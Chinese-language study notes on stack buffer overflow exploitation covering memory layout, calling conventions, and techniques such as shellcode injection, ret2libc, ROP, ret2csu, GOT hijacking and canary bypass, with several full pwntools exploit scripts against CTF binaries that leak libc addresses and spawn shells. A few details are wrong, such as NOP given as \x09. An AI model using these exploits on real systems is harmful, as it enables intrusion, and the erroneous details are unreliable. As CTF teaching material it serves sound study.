缓冲区溢出原理

1.程序内存布局

  • 在程序运行的生命周期中,内存中比较重要的四部分数据是程序数据、堆、库数据、栈.此外内核空间也会映射到程序的内存中.

  • 程序数据(Proc)
    • 代码段(Text seg)
      - 主要存放可执行文件的代码指令,是可执行程序在内存中的镜像,代码段一般是只读的
      
      • 数据段(Data seg)
      • 存放可执行文件中已经初始化的变量,包括静态分配的变量和全局变量
      • BSS seg
      • 包含程序中未初始化的全局变量,在内存中bss 段全部置0
      • 堆(HEAP)
      • 存放进程运行过程中动态申请的内存段.进程调用malloc、alloca、new等函数来申请内存,利用free、delete函数释放内存.这部分大小不固定,以方便程序灵活使用内存.
      • 库数据(Memory Mapping)
      • 存放映射的系统库文件,其中比较重要的是libc库,很多的程序所使用的系统函数都会动态的连接到libc库中
      • 栈(Stack)
      • 栈存放程序临时创建的局部变量.包括函数内部的临时变量和调用函数时压入的参数.由于

1. 函数调用栈

  • 栈介绍

    • 栈内存一般根据函数栈来进行划分,不同函数栈之间是相互隔离的,从而能够实现有效的函数切换

    • 函数栈上存储的信息一般包括

      • 临时变量 (canary)

      • 函数的返回栈基址(bp)

      • 函数的返回地址(ip)

  • 函数栈的调用机制

    • 程序运行时,为了实现函数之间的相互隔离,需要在进入新的函数之前保存当前函数的状态

    • 函数调用时,首先将参数压入栈,然后压入返回地址和栈底指针寄存器bp,其中压入返回地址是通过call实现的

    • 函数结束时,将sp重新指向bp位置,并弹出bp和返回地址==ip==,通常bp是通过leave或者(pop ebp实现的)

    • 函数栈示意图

- 在函数栈中bp存储了上一个函数栈的基址,ip存储的是调用处的下一条指令的位置.
- 返回当前函数时,会从栈上弹出这两个值,从而恢复上一个函数的信息
  • 函数参数的传递

    • 函数调用协议

      • _stdcall: wimdows API默认的函数调用协议
        • 参数由由右向左入栈
        • 调用函数结束后由被调用函数来平衡栈
      • _cdecl: c++/c默认的函数调用协议
        • 参数由右向左入栈
        • 函数调用结束后由函数调用者来平衡栈
      • _fastcall:适用于对性能要求较高的场合
        • 从左开始将不大于4字节的参数放入CPU的ecx和edx寄存器,其余参数从右向左入栈
        • 函数调用结束后,由被调用者来平衡栈
    • 对于X86程序

      • 普通函数传参:参数基本都压在栈上(也有寄存器传参的情况)

      • syscall传参: eax对应系统调用号,ebx,ecx,edx,esi,edi,ebp分别对应前六个参数,多余的参数压在栈上

      • ==对于x86程序而言,参数传递是通过栈来实现的,在调用完以后,需要清除栈中参数,所以一般函数调用完之后需要用形如“pop;pop *;,,,,;ret;”的 gadget来调整.因为函数调用时返回地址会压入栈中,既汇编中的“call func”指令等同于“pop ret_addr;jump func”,因此在执行jmp func的时候,ret_addr已经压入栈中了==

- 将ret_addr改成”pop*;ret“指令的gadget,用来弹出后续的args,即成为ROP的形式,这也是ROP的原理

  ![](image-20201116160738116.png)
  • 对于X64程序

    • 普通函数传参:先使用rdi,rsi,rdx,r8,r9寄存器作为函数参数的前六个参数,多余的参数依次压在栈上

    • syscall传参:rax对应系统调用号,传参规则和普通函数一样

    • 对于X64的程序来说,一般情况下,函数的参数较少,通常用寄存器来传递参数,所以在进入函数之前,因该先将寄存器设置好

  • 函数运行时内存中的一段连续的区域,用来保存函数运行时的状态信息,包括参数与局部变量

  • 涉及的寄存器
    • 栈寄存器

      • esp: 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
      • ebp:用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引函数参数或局部变量的位置
    • 特殊寄存器

      • eip:用来存储即将执行的程序指令的地址,cpu按照eip的存储内容读取指令并执行,eip随之指向下一条指令,如此反复

      • Eflags:标识位寄存器

      • cs(code segment):储存代码段的地址

      • ds(data segment):储存数据段的地址

      • ss(stack segment):储存函数调用栈的地址

  • 一般寄存器

    • eax(Accumulate):累加寄存器,用于进行算数运算,返回函数结果
    • ebx(Base):基址寄存器,在内存寻址时(比如数组运算),存放基地址
    • ecx(Count):计数寄存器,用以在循环中计数
    • edx(Data):数据寄存器,通常配合eax存放运算结果等数据
  • 索引寄存器

    • esi(Souce Index):指向要处理数据的地址
    • edi(Destination Index): 指向存放数据结果的地址
  • 涉及的汇编指令

    • MOV DST,SRC; (数据传输指令) 将src中的数据传输到dst中
    • PUSH SRC; (压入堆栈指令)将SRC压入栈
    • POP DST;(弹出堆栈指令) 弹出堆栈指令,将栈顶的数据弹出并保存至DST
    • LEA REG,MEM; (取地址指令)将MEM的地址存在REG中
    • ADD/SUB DST,SRC;(加减指令)
    • CALL PTR;(调用指令 )将当前的eip压入栈顶,并将PTR存入eip
    • RET ;(返回指令)将栈顶数据弹出至eip
  • 调用函数时,栈的变化(如何抛弃被调用函数的状态)

2.技术清单

  • 覆盖缓冲区的具体用途

    • 覆盖当前栈中函数的返回地址(当前函数或者之前的函数),获取控制流

    • 覆盖栈中所存储的临时变量

    • 覆盖栈底寄存器bp(之前的函数)

      • 覆盖bp实现栈转移

        • 这种情况主要针对“leave;ret”指令;该指令等价于“mov sp,bp;pop bp;ret”

      • 覆盖bp,实现参数索引改变

        • 一般来说,很多临时变量的索引,都是根据相对于bp的偏移量来进行的,如果bp发生了变化,那么后续的很多参数也会发生变化
    • 关注敏感函数

      • background
        • 控制指令执行最关键的寄存器就是eip,因此我们的==目标是让eip载入攻击指令的地址==
        • 如何让eip指向攻击指令,
  • list
    • 修改返回地址,使其指向溢出数据中的一段指令==(shellcode)==
    • 修改返回地址,使其指向内存中已有的某个函数==(return2libc==)
    • 修改返回地址,使其指向内存中已有的某段指令==(ROP)==
    • 修改某个被调用的函数的地址,让其指向另一个函数==(hijack GOT)==

1.Shellcode(关闭地址随机化以及有可执行权限)

  • payload = padding1 + address of shellcode + padding2 + shellcode
  • padding1 中的数据随便填充(⚠️如果是字符串输入,避免\x00,可能会被截断),==长度应该刚好覆盖函数的基地址==

    • ==问题一==:padding1因该多长?
      • 可以通过调试工具(GDB)查看汇编代码来确定这个值==一般是lea指令+4==
      • 也可以通过程序不断增加输入长度来试探(如果返回地址被无效地址如”AAA“覆盖)程序会报错
  • address of shellcode 是后面shellcode处的起始处的地址,==用来覆盖返回地址==
    • ==问题二:==shellcode 的起始地址是多少?
      • 可以通过调试工具查看返回值的地址(ebp中的内容+4, 32位机)
      • 但是调试里的地址可能和正常运行时不一样,此时就可以通过在padding2中填充若干长度的==“\x09”==,此机器码对应的指令是NOP(No Operation),既告诉cpu啥也不用做,然后跳到下一指令,有了NOP的填充,只要返回地址能够命中这一段中的任一位置,都可以跳转到shellcode的起始处
  • padding2可以随意填充,长度任意.
  • shellcode因该是16进制机器码的格式
实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

sh = remote('node3.buuoj.cn',29955)
elf = ELF('./ciscn_2019_n_5')
#这句话非常重要,因为设置arch决定了👇shell的汇编结果,不同arch下得到的结果是不一样的
context.arch = elf.arch
context.log_level = 'debug'
bss_addr = 0x601080
shellcode = asm(shellcraft.sh())#生成64位linuxshellcode
payload = b'a'*0x20 + b'a'*8 + p64(0x601080)#栈溢出ret到shellcode执行

sh.sendlineafter("name\n",shellcode)
sh.sendlineafter("me?\n",payload)
sh.interactive()

2.return2libc–指向内存中的函数(操作系统关闭ASLR)

  • 获取libc中的system函数的地址,使用gdb,给main函数打上断点,然后使用

    1
    p system

    该方法可以获取任意libc函数的地址

  • 设置system函数返回后的地址,以及为system函数构造我们预定的参数

  • 由于我们使用system的函数地址替换了原本的ip寄存器,强制执行了system函数.破坏了原程序栈桢分配和释放策略,所以后续的操作必须基于这个被破坏的栈桢结构来实现

  • 例如下面的payload中的padding2的操作应该是pop ip,也就是system函数调用完成后需要返回的地址

    • 为什么呢?
      • 因为在正常情况下,函数是通过call进行调用的,因此在进入system前,call指令已经通过push ip将返回地址push到函数调用栈中,所以在正常情况下ret指令pop到ip的数据就是call指令push到栈中的数据,也就是说两者是成对出现的
      • 但是!!!!由于我们是直接通过覆盖ip的地址从而跳转到system函数,并没有经过call指令的调用,也就是并没有push ip的操作,但是system函数却照常执行了ret指令的pop ip的操作.
      • 因此,ret 指令pop到ip中的到底是哪一处的数据呢,答案就是padding2中的数据,也就是我们自己设定的system函数的返回地址
  • 知道了system部分的payload,那么如何获得system的地址以及bin/sh的地址呢?

    • 可以通过puts与gets函数,gets造成溢出,puts泄漏libc中的system以及/bin/sh的地址

      • bin在so文件中的地址

        • 1
          strings -t x libc.so | grep bin
      • 可执行的system(“/bin/sh”)在so文件中的地址

        • 1
          one_gadget  libc.so
  • 由于我们可以控制栈,根据rop的思想,我们需要找到的就是pop rdi;ret 前半段用于给第一个参数rdi赋值,后半段用于跳到其他代码片段

    • 如何找到可以赋值的参数呢?

      • 可以通过,ROPgadget,这里的值通常是固定的0x400833

        1
        ROPgadget --binary file_name --only "pop|ret" | grep rdi
  • 因此我们可以构造payload泄漏出puts函数的真实地址
  • 有了真实地址,我们还需要知道程序使用的libc,算出libc的基址

    • 这里可以使用LibcSearcher

      1
      2
      3
      4
      from LibcSearcher import *

      #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
      obj = LibcSearcher("fgets", 0X7ff39014bd90)
    • 知道了程序使用的libc,以及puts函数的真实地址,我们就可算出libc的基址,再通过基址加偏移就能得到函数的真实地址

      1
      2
      3
      4
      5
      libc_base = 0X7ff39014bd90 - obj.dump("fgets")
      obj.dump("system") #system 偏移
      obj.dump("str_bin_sh") #/bin/sh 偏移
      #system的真实地址
      system_addr =libc_base + obj.dump("system")
  • 这里有可能会遇到,匹配不到libc的错误,可以通过libc-database,添加libc

    1
    2
    3
    4
    5
    6
    ./get  # List categories
    ./get ubuntu debian # Download Ubuntu's and Debian's libc, old default behavior
    ./get all # Download all categories. Can take a while!

    #或者添加自身的libc
    ./add /usr/lib/libc-2.21.so
实例
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = remote('node3.buuoj.cn',25805)
p = process('./ciscn_2019_c_1')
elf = ELF('ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
p.recvuntil('!\n')
p.sendline('1')


payload = b'\x00'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
print("payload=====>"+str(payload))
p.recvuntil('ed\n')
p.sendline(payload)
p.recvuntil('\n\n')
puts_real_addr = u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print('puts real addr ====>'+str(hex(puts_real_addr)))

libc = LibcSearcher('puts',puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
print('libc_base====>'+str(libc_base))


system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

print("system ====>"+str(hex(system)))
print("bin_sh ====>"+str(hex(bin_sh)))

ret = 0x4006b9

payload2 = b'\x00'*0x58 +p64(ret)+ p64(pop_rdi) + p64(bin_sh) + p64(system)

p.recv()
p.sendline('1')
p.recv()
p.sendline(payload2)
p.interactive()
  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node3.buuoj.cn',28001)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

#溢出控制返回值v5
payload1=b'\x00'+b'a'*6+b'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄漏libc
payload=b'a'*0xeb
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

#计算libc_base,system_addr,bin_sh_addr
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

#执行payload
r.sendline(payload1)
r.recvuntil('Correct\n')
payload=b'a'*0xe7+b'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()
  • payload = padding1 + address of system() + padding2 + address of “/bin/sh”
  • Padding1 随意填充,==长度刚好覆盖基地址==
    • 长度与shellcode处的一样的方法
  • address of system() 是system在内存中的地址,==用来覆盖返回地址==
    • system()函数地址在哪里?
      • 从动态库中获取,计算绝对地址
  • padding2 数据长度应该为 ==4== (32位机) 由于不关心退出shell后的行为,可随意填
    • ⚠️当需要多次绕过时,这里应该填充system执行后需要返回的地址,否则程序栈会崩溃
  • address of ”/bin/sh“ 是字符串在内存中的地址,作为传给system的参数
    • 字符串哪里找?
      • 动态库搜索,计算绝对地址
      • 没有就将其加入环境变量,通过getenv()函数获取

3.ROP(开启NX时可用)–指向内存中已有的某段指令

  • payload = padding + address of gadget

  • ROP的常见拼凑效果是实现一次系统调用

  • 如何寻找指令片段?

    • 使用工具寻找以ret结尾的片段
  • 如何寻找系统调用的参数?

    • 可以使用pop指令将栈顶数据存入寄存器
    • 如果内存中有可以用move指令进行传输
  • 对于单个gadget,pop所传输的数据因该在gadget地址之后

    • 具体的ROP例子
  • 适用于题目中没有给出任何有关cat flag有关信息,并且题目中也没有任何与system有关的函数

    • 此时需要我们leak除libc函数的地址,再通过libc构造ROP

3.2 中级ROP

  • ret2_libc_csu_init

    • 在64位程序中,函数的前六个参数是通过寄存器传参的,但是大多数时候,我们很难找到每个寄存器对应的gadgets,这个时候我们可以用x64下的__libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      .text:00000000004005C0 ; void _libc_csu_init(void)
      .text:00000000004005C0 public __libc_csu_init
      .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
      .text:00000000004005C0 push r15
      .text:00000000004005C2 push r14
      .text:00000000004005C4 mov r15d, edi
      .text:00000000004005C7 push r13
      .text:00000000004005C9 push r12
      .text:00000000004005CB lea r12, __frame_dummy_init_array_entry
      .text:00000000004005D2 push rbp
      .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
      .text:00000000004005DA push rbx
      .text:00000000004005DB mov r14, rsi
      .text:00000000004005DE mov r13, rdx
      .text:00000000004005E1 sub rbp, r12
      .text:00000000004005E4 sub rsp, 8
      .text:00000000004005E8 sar rbp, 3
      .text:00000000004005EC call _init_proc
      .text:00000000004005F1 test rbp, rbp
      .text:00000000004005F4 jz short loc_400616
      .text:00000000004005F6 xor ebx, ebx
      .text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
      .text:0000000000400600
      .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
      .text:0000000000400600 mov rdx, r13
      .text:0000000000400603 mov rsi, r14
      .text:0000000000400606 mov edi, r15d
      .text:0000000000400609 call qword ptr [r12+rbx*8]
      .text:000000000040060D add rbx, 1
      .text:0000000000400611 cmp rbx, rbp
      .text:0000000000400614 jnz short loc_400600
      .text:0000000000400616
      .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
      .text:0000000000400616 add rsp, 8
      .text:000000000040061A pop rbx
      .text:000000000040061B pop rbp
      .text:000000000040061C pop r12
      .text:000000000040061E pop r13
      .text:0000000000400620 pop r14
      .text:0000000000400622 pop r15
      .text:0000000000400624 retn
      .text:0000000000400624 __libc_csu_init endp
      • 这里如果巧妙的控制==rbx==与==r12==,我们就可以调用我们想要调用的函数.例如设置rbx=0,r12位存储我们想要调用的函数的地址.
实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
io = process("./ciscn_s_3")
context.log_level = 'debug'

vul_addr = 0x4004ed
main_addr = 0x40051d
pop_rdi_ret = 0x4005a3
csu_front_addr = 0x40059A
csu_end_addr = 0x400580
ret_addr = 0x400519
sys_call = 0x400517
mov_rax_59 = 0x4004E2

payload1 = b'/bin/sh\x00'*2 + p64(vul_addr)

#gdb.attach(io)
#pause()

io.send(payload1)
io.recv(0x20)
leak_addr = u64(io.recv(8))
#泄露出来argv的地址
log.info('leaked_addr===>'+hex(leak_addr))
#print("---------->",hex(leak_addr - 0x118))
#gdb.attach(io)
#pause()
bin_sh = leak_addr - 0x128
#用偏移通过argv找到binsh地址

payload = b'/bin/sh\x00'*2 + p64(mov_rax_59) + p64(csu_front_addr)
#ebp处放给寄存器rax赋值的地址
payload += p64(0) + p64(1) + p64(bin_sh+0x10) + p64(0) + p64(0) + p64(0)
#这里就是巧妙的执行利用,rbx 与 r12执行了mov_rax_59的操作
#bin_sh+0x10的位置放得是执行mov rax 59 地址的地址,也就是rbp此时指向的地址
#后面的三个0是给execv函数传参,/bin/sh在4字节的edi中放不下,所以这里我们先传0,下面再pop_rdi
payload += p64(csu_end_addr)
payload += 0x38*b'A'
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_call)
#寄存器被赋值之后执行syscall,它会自动匹配要执行execv,然后回去64位对应的寄存器里面找参数

io.send(payload)
io.interactive()
  • 可以利用的csu

  • 用gdb+pwn 进行动态调试,得到函数栈中的状态与payload的对应关系,如下

4.hijiack got – 修改某个被调用函数的地址,让其指向另一个地址

  • 动态链接与静态链接

    • 静态链接
      • 把需要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分,使得文件包含运行时的全部代码,当多个程序调用相同函数时,内存中就会出现多个这个函数的拷贝,浪费内存
    • 动态链接
      • 仅仅在调用处加入了所调用函数的描述信息(往往是一些重定位信息),当程序运行时,才回去动态的链接到相应的函数,动态链接库的文件后缀为.so
  • GOT与PLT

    • GOT(global offset table) 全局偏移量表,用来储存外部函数在内存的确切地址

    • PLT(procedure linkage table) 程序链接表,用来存储外部函数的入口点

    • 第一次调用函数时解析函数地址并存入GOT表

    • 第二次调用函数直接读取GOT中的地址

    • 整个调用的过程

  • 如何确定函数A在GOT表中的位置?

    • 程序调用函数是通过PLT表跳转到GOT表的对应条目,在汇编指令中找到该函数在PLT中的入口点位置,从而定位到该函数在GOT中 的条目
  • 如何确定函数B在内存中的位置?

    • 函数在动态链接库中的位置是相对固定的.如果知道了函数A的运行地址(读取GOT表中的内容),也知道A和B在动态链接库中的相对位置,就可一推断出B的运行时地址
  • 如何实现GOT表中的数据修改?

    • 格式化字符串漏洞

5.Return-to-dl_resolve

  • 核心思想是利用dl_runtime_resolve函数解析出system函数的地址,通常在没有提供lib函库的情况下使用.
  • 使用条件
    • 未给出libc库
    • 没有开启PIE保护,如果开启PIE需要通过泄漏获取基地址
    • 没有开启FULL RELOAD

3. payload与函数调用栈的关系

  • payload的长度可以用 payload.ljust(0x105,b’a’)进行填充,使得填充后的payload的总长度为0x106 Bytes
  • ⚠️p32(0xdeadbeef) 占4个Byte

  • paylaod的实际意义是通过输入的溢出,将我们需要的指令送到ip让cpu执行

    • 下图是64位,中的对应关系

​ 经过gdb+pwn调试,得到正确的关系,main实际上是返回值

  • 下图是32位中的对应关系

4.通用的gadget

__libc_csu_init()
  • 在程序编译的过程中,会自动加入一些通用函数的初始化工作,这些初始化函数都是相同的,因此可以考虑在这些函数中找到一些通用的gadget

    • 需要关注的寄存器

      • r12 保存着将要调用函数的指针的地址

      • rcx r8 r9 第四五六个参数

      • rdx 第三个参数

      • rsi 第二个参数

      • rdi 第一个参数

      • rbx 和 rbp 的值分别为0 1

5.Canary

  • linux中的cookies,用来检测溢出并阻止溢出操作

  • 其原理是当程序启用canary编译后,在函数序言部分会取fs寄存器0x20处的值.存放在栈中

    1
    2
    mov    rax, qword ptr fs:[0x28]
    mov qword ptr [rbp-8], rax
  • 在函数返回之前,会将该值取出,并与fs:0x28的值进行亦或.这个操作既检测是否发生栈溢出

  • 如果canary已经被非法修改,此时程序流程会走到__stack_chk_fail

  • 通过格式化字符串绕过canary

    • 由于格式化字符串漏洞会导致任意地址泄漏,因此,只要得到输入参数在栈中的位置,就可以通过偏移得到canary在栈中的位置
    • 然后在栈溢出的padding块把canary所在的位置的值用正确的canary替换,从而绕过canary检测